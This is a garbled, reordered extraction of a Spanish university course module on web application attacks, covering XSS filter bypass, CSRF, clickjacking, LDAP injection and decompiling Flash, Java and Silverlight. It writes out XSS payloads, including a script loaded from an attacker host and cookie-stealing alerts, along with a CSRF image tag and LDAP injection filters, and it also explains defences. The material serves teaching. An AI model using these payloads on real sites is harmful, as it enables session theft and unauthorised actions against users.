ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 18: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

